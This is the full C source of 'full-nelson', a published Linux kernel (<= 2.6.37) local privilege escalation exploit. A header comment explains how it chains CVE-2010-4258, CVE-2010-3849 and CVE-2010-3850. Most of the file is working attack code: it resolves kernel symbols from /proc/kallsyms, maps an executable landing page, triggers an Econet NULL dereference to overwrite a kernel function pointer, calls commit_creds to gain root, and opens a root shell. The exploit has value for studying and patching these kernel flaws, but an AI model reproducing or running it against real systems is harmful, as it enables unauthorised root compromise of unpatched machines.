/*
  * Linux Kernel<= 2.6.37 local privilege escalation
  * by Dan Rosenberg
  * @djrbliss on twitter
  *
  * Usage:
  * gcc full-nelson.c -o full-nelson
  * ./full-nelson
  *
  * This exploit leverages three vulnerabilities to get root, all of which were
  * discovered by Nelson Elhage:
  *
  * CVE-2010-4258
  * -------------
  * This is the interesting one, and the reason I wrote this exploit.  If a
  * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
  * word will be written to a user-specified pointer when that thread exits.
  * This write is done using put_user(), which ensures the provided destination
  * resides in valid userspace by invoking access_ok().  However, Nelson
  * discovered that when the kernel performs an address limit override via
  * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
  * etc.), this override is not reverted before calling put_user() in the exit
  * path, allowing a user to write a NULL word to an arbitrary kernel address.
  * Note that this issue requires an additional vulnerability to trigger.
  *
  * CVE-2010-3849
  * -------------
  * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
  * fairly benign as a local denial-of-service.  It's a perfect candidate to
  * trigger the above issue, since it's reachable via sock_no_sendpage(), which
  * subsequently calls sendmsg under KERNEL_DS.
  *
  * CVE-2010-3850
  * -------------
  * I wouldn't be able to reach the NULL pointer dereference and trigger the
  * OOPS if users weren't able to assign Econet addresses to arbitrary
  * interfaces due to a missing capabilities check.
  *
  * In the interest of public safety, this exploit was specifically designed to
  * be limited:
  *
  *  * The particular symbols I resolve are not exported on Slackware or Debian
  *  * Red Hat does not support Econet by default
  *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
  *    Debian
  *
  * However, the important issue, CVE-2010-4258, affects everyone, and it would
  * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
  * more sophisticated version of this that doesn't have the roadblocks I put in
  * to prevent abuse by script kiddies.
  *
  * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
  *
  * NOTE: the exploit process will deadlock and stay in a zombie state after you
  * exit your root shell because the Econet thread OOPSes while holding the
  * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
  *
  * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
  */

#include<stdio.h>
#include<sys/socket.h>
#include<fcntl.h>
#include<sys/ioctl.h>
#include<string.h>
#include<net/if.h>
#include<sched.h>
#include<stdlib.h>
#include<signal.h>
#include<sys/utsname.h>
#include<sys/mman.h>
#include<unistd.h>

/* How many bytes should we clear in our
  * function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
   FILE *f;
   unsigned long addr;
   char dummy;
   char sname[512];
   struct utsname ver;
   int ret;
   int rep = 0;
   int oldstyle = 0;

   f = fopen("/proc/kallsyms", "r");
   if (f == NULL) {
           f = fopen("/proc/ksyms", "r");
           if (f == NULL)
                   goto fallback;
           oldstyle = 1;
   }

repeat:
   ret = 0;
   while(ret != EOF) {
           if (!oldstyle)
                   ret = fscanf(f, "%p %c %s\n", (void **)&addr,&dummy, sname);
           else {
                   ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                   if (ret == 2) {
                           char *p;
                           if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                   continue;
                           p = strrchr(sname, '_');
                           if (p>  ((char *)sname + 5)&&  !strncmp(p - 3, "smp", 3)) {
                                   p = p - 4;
                                   while (p>  (char *)sname&&  *(p - 1) == '_')
                                           p--;
                                   *p = '\0';
                           }
                   }
           }
           if (ret == 0) {
                   fscanf(f, "%s\n", sname);
                   continue;
           }
           if (!strcmp(name, sname)) {
                   fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : 
"");
                   fclose(f);
                   return addr;
           }
   }

   fclose(f);
   if (rep)
           return 0;
fallback:
   uname(&ver);
   if (strncmp(ver.release, "2.6", 3))
           oldstyle = 1;
   sprintf(sname, "/boot/System.map-%s", ver.release);
   f = fopen(sname, "r");
   if (f == NULL)
           return 0;
   rep = 1;
   goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

         commit_creds(prepare_kernel_cred(0));
         return -1;

}

/* Why do I do this?  Because on x86-64, the address of
  * commit_creds and prepare_kernel_cred are loaded relative
  * to rip, which means I can't just copy the above payload
  * into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{

#ifdef __x86_64__
   asm("mov $getroot, %rax; call *%rax;");
#else
   asm("mov $getroot, %eax; call *%eax;");
#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg
  * via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
   int ret;
   struct ifreq ifr;

   memset(&ifr, 0, sizeof(ifr));
   strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

   ret = ioctl(fildes[2], SIOCSIFADDR,&ifr);

   if(ret<  0) {
           printf("[*] Failed to set Econet address.\n");
           return -1;
   }

   splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
   splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

   /* Shouldn't get here... */
   exit(0);
}

int main(int argc, char * argv[])
{
   unsigned long econet_ops, econet_ioctl, target, landing;
   int fildes[4], pid;
   void * newstack, * payload;

   /* Create file descriptors now so there are two
      references to them after cloning...otherwise
      the child will never return because it
      deadlocks when trying to unlock various
      mutexes after OOPSing */
   pipe(fildes);
   fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
   fildes[3] = open("/dev/zero", O_RDONLY);

   if(fildes[0]<  0 || fildes[1]<  0 || fildes[2]<  0 || fildes[3]<  0) {
           printf("[*] Failed to open file descriptors.\n");
           return -1;
   }

   /* Resolve addresses of relevant symbols */
   printf("[*] Resolving kernel addresses...\n");
   econet_ioctl = get_kernel_sym("econet_ioctl");
   econet_ops = get_kernel_sym("econet_ops");
   commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
   prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

   if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
           printf("[*] Failed to resolve kernel symbols.\n");
           return -1;
   }

   if(!(newstack = malloc(65536))) {
           printf("[*] Failed to allocate memory.\n");
           return -1;
   }

   printf("[*] Calculating target...\n");
   target = econet_ops + 10 * sizeof(void *) - OFFSET;

   /* Clear the higher bits */
   landing = econet_ioctl<<  SHIFT>>  SHIFT;

   payload = mmap((void *)(landing&  ~0xfff), 2 * 4096,
                  PROT_READ | PROT_WRITE | PROT_EXEC,
                  MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

   if ((long)payload == -1) {
           printf("[*] Failed to mmap() at target address.\n");
           return -1;
   }

   memcpy((void *)landing,&trampoline, 1024);

   clone((int (*)(void *))trigger,
         (void *)((unsigned long)newstack + 65536),
         CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
   &fildes, NULL, NULL, target);

   sleep(1);

   printf("[*] Triggering payload...\n");
   ioctl(fildes[2], 0, NULL);

   if(getuid()) {
           printf("[*] Exploit failed to get root.\n");
           return -1;
   }

   printf("[*] Got root!\n");
   execl("/bin/sh", "/bin/sh", NULL);
}
